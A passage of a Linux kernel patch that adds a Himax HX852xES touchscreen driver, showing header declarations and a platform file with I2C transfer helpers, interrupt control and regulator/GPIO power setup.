uint8_t *cable_config; +#endif +}; + +static struct himax_ts_data *private_ts; + +#define HX_CMD_NOP 0x00 +#define HX_CMD_SETMICROOFF 0x35 +#define HX_CMD_SETROMRDY 0x36 +#define HX_CMD_TSSLPIN 0x80 +#define HX_CMD_TSSLPOUT 0x81 +#define HX_CMD_TSSOFF 0x82 +#define HX_CMD_TSSON 0x83 +#define HX_CMD_ROE 0x85 +#define HX_CMD_RAE 0x86 +#define HX_CMD_RLE 0x87 +#define HX_CMD_CLRES 0x88 +#define HX_CMD_TSSWRESET 0x9E +#define HX_CMD_SETDEEPSTB 0xD7 +#define HX_CMD_SET_CACHE_FUN 0xDD +#define HX_CMD_SETIDLE 0xF2 +#define HX_CMD_SETIDLEDELAY 0xF3 +#define HX_CMD_SELFTEST_BUFFER 0x8D +#define HX_CMD_MANUALMODE 0x42 +#define HX_CMD_FLASH_ENABLE 0x43 +#define HX_CMD_FLASH_SET_ADDRESS 0x44 +#define HX_CMD_FLASH_WRITE_REGISTER 0x45 +#define HX_CMD_FLASH_SET_COMMAND 0x47 +#define HX_CMD_FLASH_WRITE_BUFFER 0x48 +#define HX_CMD_FLASH_PAGE_ERASE 0x4D +#define HX_CMD_FLASH_SECTOR_ERASE 0x4E +#define HX_CMD_CB 0xCB +#define HX_CMD_EA 0xEA +#define HX_CMD_4A 0x4A +#define HX_CMD_4F 0x4F +#define HX_CMD_B9 0xB9 +#define HX_CMD_76 0x76 + +#define HX_VER_FW_MAJ 0x33 +#define HX_VER_FW_MIN 0x32 +#define HX_VER_FW_CFG 0x39 + +enum input_protocol_type { + PROTOCOL_TYPE_A = 0x00, + PROTOCOL_TYPE_B = 0x01, +}; + +//1uA +static unsigned char E_IrefTable_1[16][2] = { {0x20, 0x0F}, {0x20, 0x1F}, {0x20, 0x2F}, {0x20, 0x3F}, + {0x20, 0x4F}, {0x20, 0x5F}, {0x20, 0x6F}, {0x20, 0x7F}, + {0x20, 0x8F}, {0x20, 0x9F}, {0x20, 0xAF}, {0x20, 0xBF}, + {0x20, 0xCF}, {0x20, 0xDF}, {0x20, 0xEF}, {0x20, 0xFF}}; + +//2uA +static unsigned char E_IrefTable_2[16][2] = { {0xA0, 0x0E}, {0xA0, 0x1E}, {0xA0, 0x2E}, {0xA0, 0x3E}, + {0xA0, 0x4E}, {0xA0, 0x5E}, {0xA0, 0x6E}, {0xA0, 0x7E}, + {0xA0, 0x8E}, {0xA0, 0x9E}, {0xA0, 0xAE}, {0xA0, 0xBE}, + {0xA0, 0xCE}, {0xA0, 0xDE}, {0xA0, 0xEE}, {0xA0, 0xFE}}; + +//3uA +static unsigned char E_IrefTable_3[16][2] = { {0x20, 0x0E}, {0x20, 0x1E}, {0x20, 0x2E}, {0x20, 0x3E}, + {0x20, 0x4E}, {0x20, 0x5E}, {0x20, 0x6E}, {0x20, 0x7E}, + {0x20, 0x8E}, {0x20, 0x9E}, {0x20, 0xAE}, {0x20, 0xBE}, + {0x20, 0xCE}, {0x20, 0xDE}, {0x20, 0xEE}, {0x20, 0xFE}}; + +//4uA +static unsigned char E_IrefTable_4[16][2] = { {0xA0, 0x0D}, {0xA0, 0x1D}, {0xA0, 0x2D}, {0xA0, 0x3D}, + {0xA0, 0x4D}, {0xA0, 0x5D}, {0xA0, 0x6D}, {0xA0, 0x7D}, + {0xA0, 0x8D}, {0xA0, 0x9D}, {0xA0, 0xAD}, {0xA0, 0xBD}, + {0xA0, 0xCD}, {0xA0, 0xDD}, {0xA0, 0xED}, {0xA0, 0xFD}}; + +//5uA +static unsigned char E_IrefTable_5[16][2] = { {0x20, 0x0D}, {0x20, 0x1D}, {0x20, 0x2D}, {0x20, 0x3D}, + {0x20, 0x4D}, {0x20, 0x5D}, {0x20, 0x6D}, {0x20, 0x7D}, + {0x20, 0x8D}, {0x20, 0x9D}, {0x20, 0xAD}, {0x20, 0xBD}, + {0x20, 0xCD}, {0x20, 0xDD}, {0x20, 0xED}, {0x20, 0xFD}}; + +//6uA +static unsigned char E_IrefTable_6[16][2] = { {0xA0, 0x0C}, {0xA0, 0x1C}, {0xA0, 0x2C}, {0xA0, 0x3C}, + {0xA0, 0x4C}, {0xA0, 0x5C}, {0xA0, 0x6C}, {0xA0, 0x7C}, + {0xA0, 0x8C}, {0xA0, 0x9C}, {0xA0, 0xAC}, {0xA0, 0xBC}, + {0xA0, 0xCC}, {0xA0, 0xDC}, {0xA0, 0xEC}, {0xA0, 0xFC}}; + +//7uA +static unsigned char E_IrefTable_7[16][2] = { {0x20, 0x0C}, {0x20, 0x1C}, {0x20, 0x2C}, {0x20, 0x3C}, + {0x20, 0x4C}, {0x20, 0x5C}, {0x20, 0x6C}, {0x20, 0x7C}, + {0x20, 0x8C}, {0x20, 0x9C}, {0x20, 0xAC}, {0x20, 0xBC}, + {0x20, 0xCC}, {0x20, 0xDC}, {0x20, 0xEC}, {0x20, 0xFC}}; +static u8 HW_RESET_ACTIVATE = 1; + +#if defined(CONFIG_TOUCHSCREEN_HIMAX_DEBUG) + #define HIMAX_PROC_TOUCH_FOLDER "android_touch" + #define HIMAX_PROC_DEBUG_LEVEL_FILE "debug_level" + #define HIMAX_PROC_VENDOR_FILE "vendor" + #define HIMAX_PROC_ATTN_FILE "attn" + #define HIMAX_PROC_INT_EN_FILE "int_en" + #define HIMAX_PROC_LAYOUT_FILE "layout" + + static struct proc_dir_entry *himax_touch_proc_dir = NULL; + static struct proc_dir_entry *himax_proc_debug_level_file = NULL; + static struct proc_dir_entry *himax_proc_vendor_file = NULL; + static struct proc_dir_entry *himax_proc_attn_file = NULL; + static struct proc_dir_entry *himax_proc_int_en_file = NULL; + static struct proc_dir_entry *himax_proc_layout_file = NULL; + + static uint8_t HX_PROC_SEND_FLAG; + +#ifdef HX_TP_PROC_RESET +#define HIMAX_PROC_RESET_FILE "reset" +static struct proc_dir_entry *himax_proc_reset_file = NULL; +#endif + +#ifdef HX_TP_PROC_DIAG + #define HIMAX_PROC_DIAG_FILE "diag" + static struct proc_dir_entry *himax_proc_diag_file = NULL; + + static int touch_monitor_stop_flag = 0; + static int touch_monitor_stop_limit = 5; + static uint8_t x_channel = 0; + static uint8_t y_channel = 0; + static uint8_t *diag_mutual = NULL; + + static int diag_command = 0; + static uint8_t diag_coor[128];// = {0xFF}; + static uint8_t diag_self[100] = {0}; + + static uint8_t *getMutualBuffer(void); + static uint8_t *getSelfBuffer(void); + static uint8_t getDiagCommand(void); + static uint8_t getXChannel(void); + static uint8_t getYChannel(void); + + static void setMutualBuffer(void); + static void setXChannel(uint8_t x); + static void setYChannel(uint8_t y); + + static uint8_t coordinate_dump_enable = 0; + struct file *coordinate_fn; +#ifdef HX_TP_PROC_2T2R + static bool Is_2T2R = false; + static int HX_2T2R_Addr = 0x96;//Need to check with project FW eng. + static int HX_2T2R_en_setting = 0x02;//Need to check with project FW eng. + static uint8_t x_channel_2 = 0; + static uint8_t y_channel_2 = 0; + static uint8_t *diag_mutual_2 = NULL; + static int HX_RX_NUM_2 = 0; + static int HX_TX_NUM_2 = 0; + + static uint8_t *getMutualBuffer_2(void); + static uint8_t getXChannel_2(void); + static uint8_t getYChannel_2(void); + + static void setMutualBuffer_2(void); + static void setXChannel_2(uint8_t x); + static void setYChannel_2(uint8_t y); +#endif +#endif + +#ifdef HX_TP_PROC_REGISTER + #define HIMAX_PROC_REGISTER_FILE "register" + static struct proc_dir_entry *himax_proc_register_file = NULL; + + static uint8_t register_command = 0; + static uint8_t multi_register_command = 0; + static uint8_t multi_register[8] = {0x00}; + static uint8_t multi_cfg_bank[8] = {0x00}; + static uint8_t multi_value[1024] = {0x00}; + static bool config_bank_reg = false; +#endif + +#ifdef HX_TP_PROC_DEBUG + #define HIMAX_PROC_DEBUG_FILE "debug" + static struct proc_dir_entry *himax_proc_debug_file = NULL; + static bool fw_update_complete = false; + + static int handshaking_result = 0; + static unsigned char debug_level_cmd = 0; + static unsigned char upgrade_fw[32*1024]; +#endif + +#ifdef HX_TP_PROC_FLASH_DUMP + #define HIMAX_PROC_FLASH_DUMP_FILE "flash_dump" + static struct proc_dir_entry *himax_proc_flash_dump_file = NULL; + + static uint8_t *flash_buffer = NULL; + static uint8_t flash_command = 0; + static uint8_t flash_read_step = 0; + static uint8_t flash_progress = 0; + static uint8_t flash_dump_complete = 0; + static uint8_t flash_dump_fail = 0; + static uint8_t sys_operation = 0; + static uint8_t flash_dump_sector = 0; + static uint8_t flash_dump_page = 0; + static bool flash_dump_going = false; + + static uint8_t getFlashCommand(void); + static uint8_t getFlashDumpComplete(void); + static uint8_t getFlashDumpFail(void); + static uint8_t getFlashDumpProgress(void); + static uint8_t getFlashReadStep(void); + static uint8_t getSysOperation(void); + static uint8_t getFlashDumpSector(void); + static uint8_t getFlashDumpPage(void); + static bool getFlashDumpGoing(void); + + static void setFlashBuffer(void); + static void setFlashCommand(uint8_t command); + static void setFlashReadStep(uint8_t step); + static void setFlashDumpComplete(uint8_t complete); + static void setFlashDumpFail(uint8_t fail); + static void setFlashDumpProgress(uint8_t progress); + static void setSysOperation(uint8_t operation); + static void setFlashDumpSector(uint8_t sector); + static void setFlashDumpPage(uint8_t page); + static void setFlashDumpGoing(bool going); +#endif + +#ifdef HX_TP_PROC_SELF_TEST + #define HIMAX_PROC_SELF_TEST_FILE "self_test" + static struct proc_dir_entry *himax_proc_self_test_file = NULL; +#endif + +#ifdef HX_TP_PROC_HITOUCH + #define HIMAX_PROC_HITOUCH_FILE "hitouch" + static struct proc_dir_entry *himax_proc_hitouch_file = NULL; + + static int hitouch_command = 0; + static bool hitouch_is_connect = false; +#endif +#endif + +#ifdef HX_ESD_WORKAROUND + static u8 ESD_RESET_ACTIVATE = 1; + static u8 ESD_COUNTER = 0; + //static int ESD_COUNTER_SETTING = 3; + static u8 ESD_R36_FAIL = 0; +#endif + +#ifdef HX_RST_PIN_FUNC + void himax_HW_reset(uint8_t loadconfig,uint8_t int_off); +#endif + +#ifdef HX_SMART_WAKEUP +#define GEST_PTLG_ID_LEN (4) +#define GEST_PTLG_HDR_LEN (4) +#define GEST_PTLG_HDR_ID1 (0xCC) +#define GEST_PTLG_HDR_ID2 (0x44) +#define GEST_PT_MAX_NUM (128) + +//static int gest_pt_cnt; +//static int gest_pt_x[GEST_PT_MAX_NUM]; +//static int gest_pt_y[GEST_PT_MAX_NUM]; +//static int gest_start_x=0,gest_start_y=0,gest_end_x=0,gest_end_y=0; +//static int gest_width=0,gest_height=0,gest_mid_x=0,gest_mid_y=0; + struct ges_cust_en { + + }; + enum gesture_event_type { + EV_GESTURE_01 = 0x01, + EV_GESTURE_02, + EV_GESTURE_03, + EV_GESTURE_04, + EV_GESTURE_05, + EV_GESTURE_06, + EV_GESTURE_07, + EV_GESTURE_08, + EV_GESTURE_09, + EV_GESTURE_10, + EV_GESTURE_11, + EV_GESTURE_12, + EV_GESTURE_13, + EV_GESTURE_14, + EV_GESTURE_15, + EV_GESTURE_PWR = 0x80, + }; + + #define KEY_CUST_01 251 + #define KEY_CUST_02 252 + #define KEY_CUST_03 253 + #define KEY_CUST_04 254 + #define KEY_CUST_05 255 + #define KEY_CUST_06 256 + #define KEY_CUST_07 257 + #define KEY_CUST_08 258 + #define KEY_CUST_09 259 + #define KEY_CUST_10 260 + #define KEY_CUST_11 261 + #define KEY_CUST_12 262 + #define KEY_CUST_13 263 + #define KEY_CUST_14 264 + #define KEY_CUST_15 265 + + #define HIMAX_PROC_SMWP_FILE "SMWP" + static struct proc_dir_entry *himax_proc_SMWP_file = NULL; + #define HIMAX_PROC_GESTURE_FILE "GESTURE" + static struct proc_dir_entry *himax_proc_GESTURE_file = NULL; + static bool FAKE_POWER_KEY_SEND = false; +#endif + +#ifdef HX_DOT_VIEW + #include + #define HIMAX_PROC_COVER_FILE "cover" + static struct proc_dir_entry *himax_proc_cover_file = NULL; +#endif + +#ifdef HX_AUTO_UPDATE_CONFIG +static int CFB_START_ADDR = 0; +static int CFB_LENGTH = 0; +static int CFB_INFO_LENGTH = 0; +#endif + +#ifdef HX_CHIP_STATUS_MONITOR +static int HX_CHIP_POLLING_COUNT; +static int HX_POLLING_TIMER =5;//unit:sec +static int HX_POLLING_TIMES =2;//ex:5(timer)x2(times)=10sec(polling time) +static int HX_ON_HAND_SHAKING =0;// +#endif + +#ifdef HX_TP_SELF_TEST_DRIVER +static int Selftest_flag = 0; +static uint8_t *mutual_bank; +static uint8_t *self_bank; +#endif + +extern struct tpd_device *tpd; +struct i2c_client *hx_i2c_client_point = NULL; +//static int tpd_flag = 0; +//static struct task_struct *touch_thread = NULL; +static DECLARE_WAIT_QUEUE_HEAD(waiter); +static unsigned short force[] = {0, 0x94, I2C_CLIENT_END, I2C_CLIENT_END}; +static const unsigned short *const forces[] = { force, NULL }; + +//Custom set some config +//static int hx_panel_coords[4] = {0,1080,0,1920};//[1]=X resolution, [3]=Y resolution +//static int hx_display_coords[4] = {0,1080,0,1920}; +//static int report_type = PROTOCOL_TYPE_B; + +static int himax852xes_probe(struct i2c_client *client, const struct i2c_device_id *id); +//static int himax852xes_detect(struct i2c_client *client, struct i2c_board_info *info); +static int himax852xes_remove(struct i2c_client *client); +extern void mt_eint_unmask(unsigned int line); +extern void mt_eint_mask(unsigned int line); +extern void mt_eint_set_hw_debounce(unsigned int eint_num, unsigned int ms); +extern unsigned int mt_eint_set_sens(unsigned int eint_num, unsigned int sens); +#ifdef HX_USB_DETECT2 +extern kal_bool upmu_is_chr_det(void); +static void himax_cable_detect_func(void); +#endif + +#endif + +extern int irq_enable_count; + diff --git a/drivers/input/touchscreen/hx852xes/himax_platform.c b/drivers/input/touchscreen/hx852xes/himax_platform.c new file mode 100644 index 0000000000000..cd7e5c34033f9 --- /dev/null +++ b/drivers/input/touchscreen/hx852xes/himax_platform.c @@ -0,0 +1,506 @@ +/* Himax Android Driver Sample Code for Himax chipset +* +* Copyright (C) 2014 Himax Corporation. +* +* This software is licensed under the terms of the GNU General Public +* License version 2, as published by the Free Software Foundation, and +* may be copied, distributed, and modified under those terms. +* +* This program is distributed in the hope that it will be useful, +* but WITHOUT ANY WARRANTY; without even the implied warranty of +* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +* GNU General Public License for more details. +* +*/ + +#include "himax_platform.h" + +#if defined(CONFIG_TOUCHSCREEN_HIMAX_DEBUG) +#define D(x...) printk("[HXTP] " x) +#define I(x...) printk("[HXTP] " x) +#define W(x...) printk("[HXTP][WARNING] " x) +#define E(x...) printk("[HXTP][ERROR] " x) +#endif + + +int irq_enable_count = 0; + +DEFINE_MUTEX(hx_wr_access); + +#ifdef QCT +int i2c_himax_read(struct i2c_client *client, uint8_t command, uint8_t *data, uint8_t length, uint8_t toRetry) +{ + int retry; + struct i2c_msg msg[] = { + { + .addr = client->addr, + .flags = 0, + .len = 1, + .buf = &command, + }, + { + .addr = client->addr, + .flags = I2C_M_RD, + .len = length, + .buf = data, + } + }; + + for (retry = 0; retry < toRetry; retry++) { + if (i2c_transfer(client->adapter, msg, 2) == 2) + break; + msleep(10); + } + if (retry == toRetry) { + E("%s: i2c_read_block retry over %d\n", + __func__, toRetry); + return -EIO; + } + return 0; + +} + +int i2c_himax_write(struct i2c_client *client, uint8_t command, uint8_t *data, uint8_t length, uint8_t toRetry) +{ + int retry/*, loop_i*/; + uint8_t buf[length + 1]; + + struct i2c_msg msg[] = { + { + .addr = client->addr, + .flags = 0, + .len = length + 1, + .buf = buf, + } + }; + + buf[0] = command; + memcpy(buf+1, data, length); + + for (retry = 0; retry < toRetry; retry++) { + if (i2c_transfer(client->adapter, msg, 1) == 1) + break; + msleep(10); + } + + if (retry == toRetry) { + E("%s: i2c_write_block retry over %d\n", + __func__, toRetry); + return -EIO; + } + return 0; + +} + +int i2c_himax_read_command(struct i2c_client *client, uint8_t length, uint8_t *data, uint8_t *readlength, uint8_t toRetry) +{ + int retry; + struct i2c_msg msg[] = { + { + .addr = client->addr, + .flags = I2C_M_RD, + .len = length, + .buf = data, + } + }; + + for (retry = 0; retry < toRetry; retry++) { + if (i2c_transfer(client->adapter, msg, 1) == 1) + break; + msleep(10); + } + if (retry == toRetry) { + E("%s: i2c_read_block retry over %d\n", + __func__, toRetry); + return -EIO; + } + return 0; +} + +int i2c_himax_write_command(struct i2c_client *client, uint8_t command, uint8_t toRetry) +{ + return i2c_himax_write(client, command, NULL, 0, toRetry); +} + +int i2c_himax_master_write(struct i2c_client *client, uint8_t *data, uint8_t length, uint8_t toRetry) +{ + int retry/*, loop_i*/; + uint8_t buf[length]; + + struct i2c_msg msg[] = { + { + .addr = client->addr, + .flags = 0, + .len = length, + .buf = buf, + } + }; + + memcpy(buf, data, length); + + for (retry = 0; retry < toRetry; retry++) { + if (i2c_transfer(client->adapter, msg, 1) == 1) + break; + msleep(10); + } + + if (retry == toRetry) { + E("%s: i2c_write_block retry over %d\n", + __func__, toRetry); + return -EIO; + } + return 0; +} + +void himax_int_enable(int irqnum, int enable, int log_print) +{ + if (enable == 1 && irq_enable_count == 0) { + enable_irq(irqnum); + irq_enable_count++; + } else if (enable == 0 && irq_enable_count == 1) { + disable_irq_nosync(irqnum); + irq_enable_count--; + } + if(log_print) + I("irq_enable_count = %d\n", irq_enable_count); +} + +void himax_rst_gpio_set(int pinnum, uint8_t value) +{ + gpio_direction_output(pinnum, value); +} + +uint8_t himax_int_gpio_read(int pinnum) +{ + return gpio_get_value(pinnum); +} + +#if defined(CONFIG_HMX_DB) +static int reg_set_optimum_mode_check(struct regulator *reg, int load_uA) +{ + return (regulator_count_voltages(reg) > 0) ? + regulator_set_optimum_mode(reg, load_uA) : 0; +} + +static int himax_power_on(struct himax_i2c_platform_data *pdata, bool on) +{ + int rc; + + if (on == false) + goto power_off; + + rc = reg_set_optimum_mode_check(pdata->vcc_ana, HX_ACTIVE_LOAD_UA); + if (rc < 0) { + E("Regulator vcc_ana set_opt failed rc=%d\n", rc); + return rc; + } + + rc = regulator_enable(pdata->vcc_ana); + if (rc) { + E("Regulator vcc_ana enable failed rc=%d\n", rc); + goto error_reg_en_vcc_ana; + } + + if (pdata->digital_pwr_regulator) { + rc = reg_set_optimum_mode_check(pdata->vcc_dig, + HX_ACTIVE_LOAD_DIG_UA); + if (rc < 0) { + E("Regulator vcc_dig set_opt failed rc=%d\n", + rc); + goto error_reg_opt_vcc_dig; + } + + rc = regulator_enable(pdata->vcc_dig); + if (rc) { + E("Regulator vcc_dig enable failed rc=%d\n", rc); + goto error_reg_en_vcc_dig; + } + } + + if (pdata->i2c_pull_up) { + rc = reg_set_optimum_mode_check(pdata->vcc_i2c, HX_I2C_LOAD_UA); + if (rc < 0) { + E("Regulator vcc_i2c set_opt failed rc=%d\n", rc); + goto error_reg_opt_i2c; + } + + rc = regulator_enable(pdata->vcc_i2c); + if (rc) { + E("Regulator vcc_i2c enable failed rc=%d\n", rc); + goto error_reg_en_vcc_i2c; + } + } + + msleep(130); + + return 0; + +error_reg_en_vcc_i2c: + if (pdata->i2c_pull_up) + reg_set_optimum_mode_check(pdata->vcc_i2c, 0); +error_reg_opt_i2c: + if (pdata->digital_pwr_regulator) + regulator_disable(pdata->vcc_dig); +error_reg_en_vcc_dig: + if (pdata->digital_pwr_regulator) + reg_set_optimum_mode_check(pdata->vcc_dig, 0); +error_reg_opt_vcc_dig: + regulator_disable(pdata->vcc_ana); +error_reg_en_vcc_ana: + reg_set_optimum_mode_check(pdata->vcc_ana, 0); + return rc; + +power_off: + reg_set_optimum_mode_check(pdata->vcc_ana, 0); + regulator_disable(pdata->vcc_ana); + if (pdata->digital_pwr_regulator) { + reg_set_optimum_mode_check(pdata->vcc_dig, 0); + regulator_disable(pdata->vcc_dig); + } + if (pdata->i2c_pull_up) { + reg_set_optimum_mode_check(pdata->vcc_i2c, 0); + regulator_disable(pdata->vcc_i2c); + } + msleep(50); + return 0; +} + +static int himax_regulator_configure(struct i2c_client *client,struct himax_i2c_platform_data *pdata, bool on) +{ + int rc; + + if (on == false) + goto hw_shutdown; + + pdata->vcc_ana = regulator_get(&client->dev, "vdd_ana"); + if (IS_ERR(pdata->vcc_ana)) { + rc = PTR_ERR(pdata->vcc_ana); + E("Regulator get failed vcc_ana rc=%d\n", rc); + return rc; + } + + if (regulator_count_voltages(pdata->vcc_ana) > 0) { + rc = regulator_set_voltage(pdata->vcc_ana, HX_VTG_MIN_UV, + HX_VTG_MAX_UV); + if (rc) { + E("regulator set_vtg failed rc=%d\n", rc); + goto error_set_vtg_vcc_ana; + } + } + if (pdata->digital_pwr_regulator) { + pdata->vcc_dig = regulator_get(&client->dev, "vdd_dig"); + if (IS_ERR(pdata->vcc_dig)) { + rc = PTR_ERR(pdata->vcc_dig); + E("Regulator get dig failed rc=%d\n", rc); + goto error_get_vtg_vcc_dig; + } + + if (regulator_count_voltages(pdata->vcc_dig) > 0) { + rc = regulator_set_voltage(pdata->vcc_dig, + HX_VTG_DIG_MIN_UV, HX_VTG_DIG_MAX_UV); + if (rc) { + E("regulator set_vtg failed rc=%d\n", rc); + goto error_set_vtg_vcc_dig; + } + } + } + if (pdata->i2c_pull_up) { + pdata->vcc_i2c = regulator_get(&client->dev, "vcc_i2c"); + if (IS_ERR(pdata->vcc_i2c)) { + rc = PTR_ERR(pdata->vcc_i2c); + E("Regulator get failed rc=%d\n", rc); + goto error_get_vtg_i2c; + } + if (regulator_count_voltages(pdata->vcc_i2c) > 0) { + rc = regulator_set_voltage(pdata->vcc_i2c, + HX_I2C_VTG_MIN_UV, HX_I2C_VTG_MAX_UV); + if (rc) { + E("regulator set_vtg failed rc=%d\n", rc); + goto error_set_vtg_i2c; + } + } + } + + return 0; + +error_set_vtg_i2c: + regulator_put(pdata->vcc_i2c); +error_get_vtg_i2c: + if (pdata->digital_pwr_regulator) + if (regulator_count_voltages(pdata->vcc_dig) > 0) + regulator_set_voltage(pdata->vcc_dig, 0, + HX_VTG_DIG_MAX_UV); +error_set_vtg_vcc_dig: + if (pdata->digital_pwr_regulator) + regulator_put(pdata->vcc_dig); +error_get_vtg_vcc_dig: + if (regulator_count_voltages(pdata->vcc_ana) > 0) + regulator_set_voltage(pdata->vcc_ana, 0, HX_VTG_MAX_UV); +error_set_vtg_vcc_ana: + regulator_put(pdata->vcc_ana); + return rc; + +hw_shutdown: + if (regulator_count_voltages(pdata->vcc_ana) > 0) + regulator_set_voltage(pdata->vcc_ana, 0, HX_VTG_MAX_UV); + regulator_put(pdata->vcc_ana); + if (pdata->digital_pwr_regulator) { + if (regulator_count_voltages(pdata->vcc_dig) > 0) + regulator_set_voltage(pdata->vcc_dig, 0, + HX_VTG_DIG_MAX_UV); + regulator_put(pdata->vcc_dig); + } + if (pdata->i2c_pull_up) { + if (regulator_count_voltages(pdata->vcc_i2c) > 0) + regulator_set_voltage(pdata->vcc_i2c, 0, + HX_I2C_VTG_MAX_UV); + regulator_put(pdata->vcc_i2c); + } + return 0; +} + +int himax_gpio_power_config(struct i2c_client *client,struct himax_i2c_platform_data *pdata) +{ + int error; + + error = himax_regulator_configure(client, pdata, true); + if (error) { + E("Failed to intialize hardware\n"); + goto err_regulator_not_on; + } + + if (gpio_is_valid(pdata->gpio_reset)) { + /* configure touchscreen reset out gpio */ + error = gpio_request(pdata->gpio_reset, "hmx_reset_gpio"); + if (error) { + E("unable to request gpio [%d]\n", + pdata->gpio_reset); + goto err_regulator_on; + } + + error = gpio_direction_output(pdata->gpio_reset, 0); + if (error) { + E("unable to set direction for gpio [%d]\n", + pdata->gpio_reset); + goto err_gpio_reset_req; + } + } + + error = himax_power_on(pdata, true); + if (error) { + E("Failed to power on hardware\n"); + goto err_gpio_reset_req; + } + + if (gpio_is_valid(pdata->gpio_irq)) { + /* configure touchscreen irq gpio */ + error = gpio_request(pdata->gpio_irq, "hmx_gpio_irq"); + if (error) { + E("unable to request gpio [%d]\n", + pdata->gpio_irq); + goto err_power_on; + } + error = gpio_direction_input(pdata->gpio_irq); + if (error) { + E("unable to set direction for gpio [%d]\n", + pdata->gpio_irq); + goto err_gpio_irq_req; + } + client->irq = gpio_to_irq(pdata->gpio_irq); + } else { + E("irq gpio not provided\n"); + goto err_power_on; + } + + msleep(20); + if (gpio_is_valid(pdata->gpio_reset)) { + error = gpio_direction_output(pdata->gpio_reset, 1); + if (error) { + E("unable to set direction for gpio [%d]\n", + pdata->gpio_reset); + goto err_gpio_irq_req; + } + } + msleep(20); + + return 0; + +err_gpio_irq_req: + if (gpio_is_valid(pdata->gpio_irq)) + gpio_free(pdata->gpio_irq); +err_power_on: + himax_power_on(pdata, false); +err_gpio_reset_req: + if (gpio_is_valid(pdata->gpio_reset)) + gpio_free(pdata->gpio_reset); +err_regulator_on: + himax_regulator_configure(client, pdata, false); +err_regulator_not_on: + +return error; +} + +#else +int himax_gpio_power_config(struct i2c_client *client,struct himax_i2c_platform_data *pdata) +{ + int error=0; + + if (pdata->gpio_reset >= 0) { + error = gpio_request(pdata->gpio_reset, "himax-reset"); + if (error < 0){ + E("%s: request reset pin failed\n", __func__); + return error; + } + error = gpio_direction_output(pdata->gpio_reset, 0); + if (error) { + E("unable to set direction for gpio [%d]\n", + pdata->gpio_reset); + return error; + } + } + if (pdata->gpio_3v3_en >= 0) { + error = gpio_request(pdata->gpio_3v3_en, "himax-3v3_en"); + if (error < 0) { + E("%s: request 3v3_en pin failed\n", __func__); + return error; + } + gpio_direction_output(pdata->gpio_3v3_en, 1); + I("3v3_en pin =%d\n", gpio_get_value(pdata->gpio_3v3_en)); + } + if (gpio_is_valid(pdata->gpio_irq)) { + /* configure touchscreen irq gpio */ + error = gpio_request(pdata->gpio_irq, "himax_gpio_irq"); + if (error) { + E("unable to request gpio [%d]\n",pdata->gpio_irq); + return error; + } + error = gpio_direction_input(pdata->gpio_irq); + if (error) { + E("unable to set direction for gpio [%d]\n",pdata->gpio_irq); + return error; + } + client->irq = gpio_to_irq(pdata->gpio_irq); + } else { + E("irq gpio not provided\n"); + return error; + } + msleep(20); + + if (pdata->gpio_reset >= 0) { + error = gpio_direction_output(pdata->gpio_reset, 1); + if (error) { + E("unable to set direction for gpio [%d]\n", + pdata->gpio_reset); + return error; + } + } + + msleep(20); + +return error; +} + +#endif + +#endif + diff --git a/drivers/input/touchscreen/hx852xes/himax_platform.h b/drivers/input/touchscreen/hx852xes/himax_platform.h new file mode 100644 index 0000000000000..1a039b6924062 --- /dev/null +++ b/drivers/input/touchscreen/hx852xes/himax_platform.h @@ -0,0 +1,108 @@ +/* Himax Android Driver Sample Code for Himax chipset +* +* Copyright (C) 2014 Himax Corporation. +* +* This software is licensed under the terms of the GNU General Public +* License version 2, as published by the Free Software Foundation, and +* may be copied, distributed, and modified under those terms. +* +* This program is distributed in the hope that it will be useful, +* but WITHOUT ANY WARRANTY; without even the implied warranty of +* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +* GNU General Public License for more details. +* +*/ + +#ifndef HIMAX_PLATFORM_H +#define HIMAX_PLATFORM_H + +#include +#include +#include +#include +#include +#include +#include +#if defined(CONFIG_HMX_DB) +#include +#endif + +#define QCT + + +#if defined(CONFIG_HMX_DB) +/* Analog voltage @2.7 V */ +#define HX_VTG_MIN_UV 2700000 +#define HX_VTG_MAX_UV 3300000 +#define HX_ACTIVE_LOAD_UA 15000 +#define HX_LPM_LOAD_UA 10 +/* Digital voltage @1.8 V */ +#define HX_VTG_DIG_MIN_UV 1800000 +#define HX_VTG_DIG_MAX_UV 1800000 +#define HX_ACTIVE_LOAD_DIG_UA 10000 +#define HX_LPM_LOAD_DIG_UA 10 + +#define HX_I2C_VTG_MIN_UV 1800000 +#define HX_I2C_VTG_MAX_UV 1800000 +#define HX_I2C_LOAD_UA 10000 +#define HX_I2C_LPM_LOAD_UA 10 +#endif + +struct himax_i2c_platform_data { + int abs_x_min; + int abs_x_max; + int abs_x_fuzz; + int abs_y_min; + int abs_y_max; + int abs_y_fuzz; + int abs_pressure_min; + int abs_pressure_max; + int abs_pressure_fuzz; + int abs_width_min; + int abs_width_max; + int screenWidth; + int screenHeight; + uint8_t fw_version; + uint8_t tw_id; + uint8_t powerOff3V3; + uint8_t cable_config[2]; + uint8_t protocol_type; + int gpio_irq; + int gpio_reset; + int gpio_3v3_en; + int (*power)(int on); + void (*reset)(void); + struct himax_virtual_key *virtual_key; + struct kobject *vk_obj; + struct kobj_attribute *vk2Use; + + struct himax_config *hx_config; + int hx_config_size; +#if defined(CONFIG_HMX_DB) + bool i2c_pull_up; + bool digital_pwr_regulator; + int reset_gpio; + u32 reset_gpio_flags; + int irq_gpio; + u32 irq_gpio_flags; + + struct regulator *vcc_ana; //For Dragon Board + struct regulator *vcc_dig; //For Dragon Board + struct regulator *vcc_i2c; //For Dragon Board +#endif +}; + +extern int irq_enable_count; +extern int i2c_himax_read(struct i2c_client *client, uint8_t command, uint8_t *data, uint8_t length, uint8_t toRetry); +extern int i2c_himax_write(struct i2c_client *client, uint8_t command, uint8_t *data, uint8_t length, uint8_t toRetry); +extern int i2c_himax_write_command(struct i2c_client *client, uint8_t command, uint8_t toRetry); +extern int i2c_himax_master_write(struct i2c_client *client, uint8_t *data, uint8_t length, uint8_t toRetry); +extern int i2c_himax_read_command(struct i2c_client *client, uint8_t length, uint8_t *data, uint8_t *readlength, uint8_t toRetry); +extern void himax_int_enable(int irqnum, int enable, int log_print); +extern int himax_ts_register_interrupt(struct i2c_client *client); +extern void himax_rst_gpio_set(int pinnum, uint8_t value); +extern uint8_t himax_int_gpio_read(int pinnum); + +extern int himax_gpio_power_config(struct i2c_client *client,struct himax_i2c_platform_data *pdata); + +#endif diff --git a/drivers/input/touchscreen/synaptics_dsx/synaptics_dsx_fw_update.c b/drivers/input/touchscreen/synaptics_dsx/synaptics_dsx_fw_update.c index 